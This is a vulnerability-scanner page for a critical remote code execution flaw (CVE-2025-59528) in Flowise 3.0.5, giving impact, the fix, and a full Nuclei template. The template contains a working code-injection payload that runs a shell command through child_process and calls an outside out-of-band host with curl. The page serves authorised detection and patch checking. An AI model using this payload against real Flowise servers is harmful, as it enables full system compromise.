Flowise - Remote Code Execution

criticalseverity

10CVSS score

91.7%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Flowise 3.0.5 contains a remote code execution vulnerability caused by unsafe evaluation of user input in the CustomMCP node's convertToValidJSONString function, letting remote attackers execute arbitrary code with full Node.js privileges, exploit requires user input to be processed by the vulnerable node.

Impact

Attackers can execute arbitrary code with full Node.js privileges, potentially leading to full system compromise.

Fix

Update to version 3.0.6 or later.

How to confirm it

Send: POST /api/v1/auth/login
Positive when: contains(content_type, "application/json") and contains_all(body, "id", "email", "name") and status_code == 200
Send: POST /api/v1/node-load-method/customMCP
Positive when: contains(interactsh_protocol, "dns") and contains(content_type, "application/json") and contains(body, "No Available Actions") and status_code == 200

Run it with nuclei: nuclei -id CVE-2025-59528 -u <target>

The full check

id: CVE-2025-59528

info:
  name: Flowise - Remote Code Execution
  author: xtr0nix
  severity: critical
  description: |
    Flowise 3.0.5 contains a remote code execution vulnerability caused by unsafe evaluation of user input in the CustomMCP node's convertToValidJSONString function, letting remote attackers execute arbitrary code with full Node.js privileges, exploit requires user input to be processed by the vulnerable node.
  impact: |
    Attackers can execute arbitrary code with full Node.js privileges, potentially leading to full system compromise.
  remediation: |
    Update to version 3.0.6 or later.
  reference:
    - https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-3gcm-f6qx-ff7p
    - https://nvd.nist.gov/vuln/detail/CVE-2025-59528
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2025-59528
    epss-score: 0.86975
    epss-percentile: 0.99748
    cwe-id: CWE-94
  metadata:
    verified: true
    max-request: 2
  tags: cve,cve2025,flowise,rce,authenticated,vkev

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /api/v1/auth/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"email":"{{email}}","password":"{{password}}"}

    matchers:
      - type: dsl
        dsl:
          - 'contains(content_type, "application/json")'
          - 'contains_all(body, "id", "email", "name")'
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        POST /api/v1/node-load-method/customMCP HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        x-request-from: internal

        {"loadMethod":"listActions","inputs":{"mcpServerConfig":"({x:(function(){const cp=process.mainModule.require(\"child_process\");cp.execSync(\"curl {{interactsh-url}}\");return 1;})()})"}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(interactsh_protocol, "dns")'
          - 'contains(content_type, "application/json")'
          - 'contains(body, "No Available Actions")'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from